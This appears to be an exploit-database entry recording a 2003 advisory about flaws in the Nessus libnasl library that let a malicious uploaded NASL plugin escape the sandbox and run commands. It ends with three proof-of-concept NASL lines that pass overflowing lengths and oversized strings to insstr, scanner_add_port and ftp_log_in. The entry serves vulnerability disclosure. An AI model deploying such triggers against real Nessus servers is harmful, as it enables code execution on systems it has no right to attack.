Nessus 2.0.x - LibNASL Arbitrary Code Execution

2003-05-22T00:00:00
ID EXPLOITPACK:D6880397F73CAD056ACA3EE1AB4216B1
Type exploitpack
Reporter Sir Mordred
Modified 2003-05-22T00:00:00

Description

Nessus 2.0.x - LibNASL Arbitrary Code Execution

                                        
                                            source: https://www.securityfocus.com/bid/7664/info

Nessus has reported that various flaws have been discovered in the 'libnasl' library used by the Nessus application. As a result, a malicious NASL script may be able to break outside of the established sandbox environment and execute arbitrary commands on the local system.

Note that this malicious script must be a legitimate plugin that has been uploaded to the Nessus server. Furthermore, the affected Nessus application must have enabled the 'plugins_upload' option (which is disabled by default).

insstr("aaaaaaaaaaa", "bb", 3, 0xfffffffd);
scanner_add_port(port : 80, proto : crap(data:'A', length:300));
ftp_log_in (socket : open_sock_tcp(21), pass : "11", user:crap (data:'A',length:8192) );